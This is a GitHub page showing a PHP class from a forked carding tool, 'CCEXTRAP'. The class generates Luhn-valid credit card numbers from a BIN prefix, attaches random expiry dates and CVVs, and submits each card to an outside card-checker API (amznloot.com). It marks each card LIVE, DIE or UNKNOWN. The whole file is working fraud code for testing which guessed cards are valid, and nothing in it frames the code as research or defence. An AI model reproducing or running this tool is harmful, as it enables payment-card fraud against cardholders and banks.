forked from swagkarna/CCEXTRAP
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cc.class.php
149 lines (142 loc) · 4.83 KB
/
cc.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<?php
class CC
{
protected $bin;
protected $check;
protected $jml;
public function __construct($bin, $check = 0, $jml = 0)
{
$this->bin = $bin;
$this->check = $check;
$this->jml = $jml;
}
private function color($color = "default", $text)
{
$arrayColor = array(
'grey' => '1;30',
'red' => '1;31',
'green' => '1;32',
'yellow' => '1;33',
'blue' => '1;34',
'purple' => '1;35',
'nevy' => '1;36',
'white' => '1;0',
);
return "\033[" . $arrayColor[$color] . "m" . $text . "\033[0m";
}
public function Execute()
{
echo "###############################################\n";
echo "{~} Starting generation\n";
echo "###############################################\n";
sleep(5);
if ($this->check < 1) {
for ($i = 1; $i <= $this->jml; $i++) {
echo $this->Extrap($this->bin) . "\n";
sleep(1);
}
} else {
for ($i = 1; $i <= $this->jml; $i++) {
$card = $this->Extrap($this->bin);
echo $this->Check($card) . "\n";
sleep(1);
}
}
}
protected function generateYears()
{
$randMonth = rand(1, 12);
$randYears = rand(20, 25);
$randCvv = rand(010, 800);
$randMonth < 10 ? $randMonth = "0" . $randMonth : $randMonth = $randMonth;
$randCvv < 100 ? $randCvv = "0" . $randCvv : $randCvv = $randCvv;
return "|" . $randMonth . "|20" . $randYears . "|" . $randCvv;
}
protected function Calculate($ccnumber, $length)
{
$sum = 0;
$pos = 0;
$reversedCCnumber = strrev($ccnumber);
while ($pos < $length - 1) {
$odd = $reversedCCnumber[$pos] * 2;
if ($odd > 9) {
$odd -= 9;
}
$sum += $odd;
if ($pos != ($length - 2)) {
$sum += $reversedCCnumber[$pos + 1];
}
$pos += 2;
}
# Calculate check digit
$checkdigit = ((floor($sum / 10) + 1) * 10 - $sum) % 10;
$ccnumber .= $checkdigit;
return $ccnumber;
}
protected function Extrap($bin)
{
if (preg_match_all("#x#si", $bin)) {
$ccNumber = $bin;
while (strlen($ccNumber) < (16 - 1)) {
$ccNumber .= rand(0, 9);
}
$ccNumber = str_split($ccNumber);
$replace = "";
foreach ($ccNumber as $cc => $key) {
$replace .= str_replace("x", rand(0, 9), $key);
}
$Complete = $this->Calculate($replace, 16);
} else {
$ccNumber = $bin;
while (strlen($ccNumber) < (16 - 1)) {
$ccNumber .= rand(0, 9);
}
$Complete = $this->Calculate($ccNumber, 16);
}
return $Complete . $this->generateYears();
}
protected function Save($title, $text)
{
$fopen = fopen($title, "a");
fwrite($fopen, $text);
fclose($fopen);
}
protected function Check($card)
{
$headers = array();
$headers[] = 'origin: https://amznloot.com';
$headers[] = 'accept-language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7';
$headers[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Accept: */*';
$headers[] = 'referer: https://amznloot.com/cc-checker/';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Connection: keep-alive';
$ch = curl_init();
$options = array(
CURLOPT_URL => "https://amznloot.com/cc-checker/api.php",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => "data=" . urlencode($card),
CURLOPT_HTTPHEADER => $headers
);
curl_setopt_array($ch, $options);
$exec = curl_exec($ch);
$status = json_decode($exec);
switch ($status->error) {
case '2':
return $card . $this->color("red", " [ DIE ]");
break;
case '3':
return $card . $this->color("grey", " [ UNKNOWN ]");
break;
case '4':
return $card . $this->color("yellow", " [ CC NOT VALID ]");
break;
case '1':
// $this->Save("Result-".$this->bin.".list", $card."\n");
return $card . $this->color("green", " [ LIVE ]");
break;
}
}
}